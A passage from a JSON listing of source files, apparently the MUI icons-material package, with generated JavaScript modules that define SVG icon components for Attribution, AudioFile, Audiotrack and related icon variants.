22h1.88l-1.34-3c.48-.34.93-.72 1.34-1.15.91.38 1.99.03 2.49-.85s.26-1.98-.52-2.58m-6.59 4.33c-.37-.46-.93-.75-1.56-.75s-1.2.29-1.57.75c-.4-.09-.79-.21-1.16-.37l1.43-3.19c.4.16.84.25 1.3.25.44 0 .87-.08 1.26-.23l1.42 3.18c-.36.15-.73.27-1.12.36m-3.08-6.73c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5m8.23 1.99c-.61.07-1.18.41-1.52.99-.32.56-.34 1.2-.12 1.75-.28.29-.58.55-.9.79l-1.5-3.35c.49-.59.78-1.34.78-2.16 0-1.89-1.55-3.41-3.46-3.41s-3.46 1.53-3.46 3.41c0 .8.28 1.54.75 2.13l-1.52 3.39c-.31-.23-.6-.48-.87-.76.26-.56.24-1.22-.09-1.79-.34-.59-.93-.94-1.56-.99-.22-.68-.33-1.4-.33-2.15 0-.64.09-1.26.25-1.85.66-.03 1.3-.38 1.65-1 .37-.63.35-1.38.01-1.98.92-.98 2.11-1.69 3.45-2.03.34.59.99 1 1.73 1s1.39-.4 1.73-1c1.34.34 2.53 1.07 3.44 2.05-.32.59-.33 1.33.03 1.95.35.6.96.95 1.6 1 .16.59.25 1.21.25 1.86 0 .75-.12 1.47-.34 2.15\"\n}, \"1\")], 'AttractionsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttractionsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11.98\",\n  cy: \"12.02\",\n  r: \"1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.15 14.42c.23-.77.35-1.58.35-2.42s-.12-1.65-.35-2.42c.78-.6 1.02-1.7.51-2.58s-1.58-1.23-2.49-.85c-1.11-1.17-2.56-2.03-4.18-2.42C13.85 2.75 13.01 2 12 2s-1.85.75-1.98 1.73c-1.63.39-3.07 1.25-4.19 2.42-.91-.38-1.98-.03-2.49.85s-.27 1.98.51 2.58c-.23.77-.35 1.58-.35 2.42s.12 1.65.35 2.42c-.78.6-1.02 1.7-.51 2.58s1.58 1.23 2.49.85c.4.42.83.79 1.3 1.12L5.78 22h1.88l.98-2.19c.44.19.9.34 1.38.46.13.98.97 1.73 1.98 1.73s1.85-.75 1.98-1.73c.46-.11.91-.26 1.34-.44L16.3 22h1.88l-1.34-3c.48-.34.93-.72 1.34-1.15.91.38 1.99.03 2.49-.85s.26-1.98-.52-2.58m-6.59 4.33c-.37-.46-.93-.75-1.56-.75s-1.2.29-1.57.75c-.4-.09-.79-.21-1.16-.37l1.43-3.19c.4.16.84.25 1.3.25.44 0 .87-.08 1.26-.23l1.42 3.18c-.36.15-.73.27-1.12.36m-3.08-6.73c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5m8.23 1.99c-.61.07-1.18.41-1.52.99-.32.56-.34 1.2-.12 1.75-.28.29-.58.55-.9.79l-1.5-3.35c.49-.59.78-1.34.78-2.16 0-1.89-1.55-3.41-3.46-3.41s-3.46 1.53-3.46 3.41c0 .8.28 1.54.75 2.13l-1.52 3.39c-.31-.23-.6-.48-.87-.76.26-.56.24-1.22-.09-1.79-.34-.59-.93-.94-1.56-.99-.22-.68-.33-1.4-.33-2.15 0-.64.09-1.26.25-1.85.66-.03 1.3-.38 1.65-1 .37-.63.35-1.38.01-1.98.92-.98 2.11-1.69 3.45-2.03.34.59.99 1 1.73 1s1.39-.4 1.73-1c1.34.34 2.53 1.07 3.44 2.05-.32.59-.33 1.33.03 1.95.35.6.96.95 1.6 1 .16.59.25 1.21.25 1.86 0 .75-.12 1.47-.34 2.15\"\n}, \"1\")], 'AttractionsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Attribution.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8.5c-.91 0-2.75.46-2.75 1.38v4.62h1.5V19h2.5v-4.5h1.5V9.88c0-.91-1.84-1.38-2.75-1.38\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"6.5\",\n  r: \"1.5\"\n}, \"2\")], 'Attribution');"
  },
  {
    "path": "packages/mui-icons-material/lib/Attribution.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8.5c-.91 0-2.75.46-2.75 1.38v4.62h1.5V19h2.5v-4.5h1.5V9.88c0-.91-1.84-1.38-2.75-1.38\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"6.5\",\n  r: \"1.5\"\n}, \"2\")], 'Attribution');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttributionOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8.5c-.91 0-2.75.46-2.75 1.38v4.62h1.5V19h2.5v-4.5h1.5V9.88c0-.91-1.84-1.38-2.75-1.38M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"6.5\",\n  r: \"1.5\"\n}, \"1\")], 'AttributionOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttributionOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8.5c-.91 0-2.75.46-2.75 1.38v4.62h1.5V19h2.5v-4.5h1.5V9.88c0-.91-1.84-1.38-2.75-1.38M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"6.5\",\n  r: \"1.5\"\n}, \"1\")], 'AttributionOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttributionRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8.5c-.91 0-2.75.46-2.75 1.38V14c0 .28.22.5.5.5h1v3.25c0 .69.56 1.25 1.25 1.25s1.25-.56 1.25-1.25V14.5h1c.28 0 .5-.22.5-.5V9.88c0-.91-1.84-1.38-2.75-1.38M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"6.5\",\n  r: \"1.5\"\n}, \"1\")], 'AttributionRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttributionRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8.5c-.91 0-2.75.46-2.75 1.38V14c0 .28.22.5.5.5h1v3.25c0 .69.56 1.25 1.25 1.25s1.25-.56 1.25-1.25V14.5h1c.28 0 .5-.22.5-.5V9.88c0-.91-1.84-1.38-2.75-1.38M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"6.5\",\n  r: \"1.5\"\n}, \"1\")], 'AttributionRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttributionSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m-2.75-5.5h1.5V19h2.5v-4.5h1.5v-6h-5.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"6.5\",\n  r: \"1.5\"\n}, \"1\")], 'AttributionSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttributionSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m-2.75-5.5h1.5V19h2.5v-4.5h1.5v-6h-5.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"6.5\",\n  r: \"1.5\"\n}, \"1\")], 'AttributionSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttributionTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 1c.83 0 1.5.67 1.5 1.5S12.83 8 12 8s-1.5-.67-1.5-1.5S11.17 5 12 5m2.75 9.5h-1.5V19h-2.5v-4.5h-1.5V9.88c0-.92 1.84-1.38 2.75-1.38s2.75.47 2.75 1.38z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m0-11.5c-.91 0-2.75.46-2.75 1.38v4.62h1.5V19h2.5v-4.5h1.5V9.88c0-.91-1.84-1.38-2.75-1.38\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"6.5\",\n  r: \"1.5\"\n}, \"2\")], 'AttributionTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttributionTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 1c.83 0 1.5.67 1.5 1.5S12.83 8 12 8s-1.5-.67-1.5-1.5S11.17 5 12 5m2.75 9.5h-1.5V19h-2.5v-4.5h-1.5V9.88c0-.92 1.84-1.38 2.75-1.38s2.75.47 2.75 1.38z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m0-11.5c-.91 0-2.75.46-2.75 1.38v4.62h1.5V19h2.5v-4.5h1.5V9.88c0-.91-1.84-1.38-2.75-1.38\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"6.5\",\n  r: \"1.5\"\n}, \"2\")], 'AttributionTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AudioFile.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm2 11h-3v3.75c0 1.24-1.01 2.25-2.25 2.25S8.5 17.99 8.5 16.75s1.01-2.25 2.25-2.25c.46 0 .89.14 1.25.38V11h4zm-3-4V3.5L18.5 9z\"\n}), 'AudioFile');"
  },
  {
    "path": "packages/mui-icons-material/lib/AudioFile.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm2 11h-3v3.75c0 1.24-1.01 2.25-2.25 2.25S8.5 17.99 8.5 16.75s1.01-2.25 2.25-2.25c.46 0 .89.14 1.25.38V11h4zm-3-4V3.5L18.5 9z\"\n}), 'AudioFile');"
  },
  {
    "path": "packages/mui-icons-material/lib/AudioFileOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zM6 20V4h7v5h5v11zm10-9h-4v3.88c-.36-.24-.79-.38-1.25-.38-1.24 0-2.25 1.01-2.25 2.25S9.51 19 10.75 19 13 17.99 13 16.75V13h3z\"\n}), 'AudioFileOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AudioFileOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zM6 20V4h7v5h5v11zm10-9h-4v3.88c-.36-.24-.79-.38-1.25-.38-1.24 0-2.25 1.01-2.25 2.25S9.51 19 10.75 19 13 17.99 13 16.75V13h3z\"\n}), 'AudioFileOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AudioFileRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.41 7.41-4.83-4.83c-.37-.37-.88-.58-1.41-.58H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8.83c0-.53-.21-1.04-.59-1.42M15 13h-2v3.61c0 1.28-1 2.41-2.28 2.39-1.44-.02-2.56-1.39-2.13-2.91.21-.72.8-1.31 1.53-1.51.7-.19 1.36-.05 1.88.29V12c0-.55.45-1 1-1h2c.55 0 1 .45 1 1s-.45 1-1 1m-1-4c-.55 0-1-.45-1-1V3.5L18.5 9z\"\n}), 'AudioFileRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AudioFileRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.41 7.41-4.83-4.83c-.37-.37-.88-.58-1.41-.58H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8.83c0-.53-.21-1.04-.59-1.42M15 13h-2v3.61c0 1.28-1 2.41-2.28 2.39-1.44-.02-2.56-1.39-2.13-2.91.21-.72.8-1.31 1.53-1.51.7-.19 1.36-.05 1.88.29V12c0-.55.45-1 1-1h2c.55 0 1 .45 1 1s-.45 1-1 1m-1-4c-.55 0-1-.45-1-1V3.5L18.5 9z\"\n}), 'AudioFileRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AudioFileSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H4v20h16V8zm2 11h-3v3.75c0 1.24-1.01 2.25-2.25 2.25S8.5 17.99 8.5 16.75s1.01-2.25 2.25-2.25c.46 0 .89.14 1.25.38V11h4zm-3-4V3.5L18.5 9z\"\n}), 'AudioFileSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AudioFileSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H4v20h16V8zm2 11h-3v3.75c0 1.24-1.01 2.25-2.25 2.25S8.5 17.99 8.5 16.75s1.01-2.25 2.25-2.25c.46 0 .89.14 1.25.38V11h4zm-3-4V3.5L18.5 9z\"\n}), 'AudioFileSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AudioFileTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 4H6v16h12V9h-5zm3 7v2h-3v3.75c0 1.24-1.01 2.25-2.25 2.25S8.5 17.99 8.5 16.75s1.01-2.25 2.25-2.25c.46 0 .89.14 1.25.38V11z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zm4 18H6V4h7v5h5z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 14.88c-.36-.24-.79-.38-1.25-.38-1.24 0-2.25 1.01-2.25 2.25S9.51 19 10.75 19 13 17.99 13 16.75V13h3v-2h-4z\"\n}, \"2\")], 'AudioFileTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AudioFileTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 4H6v16h12V9h-5zm3 7v2h-3v3.75c0 1.24-1.01 2.25-2.25 2.25S8.5 17.99 8.5 16.75s1.01-2.25 2.25-2.25c.46 0 .89.14 1.25.38V11z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zm4 18H6V4h7v5h5z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 14.88c-.36-.24-.79-.38-1.25-.38-1.24 0-2.25 1.01-2.25 2.25S9.51 19 10.75 19 13 17.99 13 16.75V13h3v-2h-4z\"\n}, \"2\")], 'AudioFileTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Audiotrack.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3v9.28c-.47-.17-.97-.28-1.5-.28C8.01 12 6 14.01 6 16.5S8.01 21 10.5 21c2.31 0 4.2-1.75 4.45-4H15V6h4V3z\"\n}), 'Audiotrack');"
  },
  {
    "path": "packages/mui-icons-material/lib/Audiotrack.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3v9.28c-.47-.17-.97-.28-1.5-.28C8.01 12 6 14.01 6 16.5S8.01 21 10.5 21c2.31 0 4.2-1.75 4.45-4H15V6h4V3z\"\n}), 'Audiotrack');"
  },
  {
    "path": "packages/mui-icons-material/lib/AudiotrackOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3v10.55c-.59-.34-1.27-.55-2-.55-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4V7h4V3zm-2 16c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'AudiotrackOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AudiotrackOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3v10.55c-.59-.34-1.27-.55-2-.55-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4V7h4V3zm-2 16c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'AudiotrackOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AudiotrackRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5v8.55c-.94-.54-2.1-.75-3.33-.32-1.34.48-2.37 1.67-2.61 3.07-.46 2.74 1.86 5.08 4.59 4.65 1.96-.31 3.35-2.11 3.35-4.1V7h2c1.1 0 2-.9 2-2s-.9-2-2-2h-2c-1.1 0-2 .9-2 2\"\n}), 'AudiotrackRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AudiotrackRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5v8.55c-.94-.54-2.1-.75-3.33-.32-1.34.48-2.37 1.67-2.61 3.07-.46 2.74 1.86 5.08 4.59 4.65 1.96-.31 3.35-2.11 3.35-4.1V7h2c1.1 0 2-.9 2-2s-.9-2-2-2h-2c-1.1 0-2 .9-2 2\"\n}), 'AudiotrackRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AudiotrackSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3v10.55c-.59-.34-1.27-.55-2-.55-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4V7h4V3z\"\n}), 'AudiotrackSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AudiotrackSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3v10.55c-.59-.34-1.27-.55-2-.55-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4V7h4V3z\"\n}), 'AudiotrackSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AudiotrackTwoTone.js",
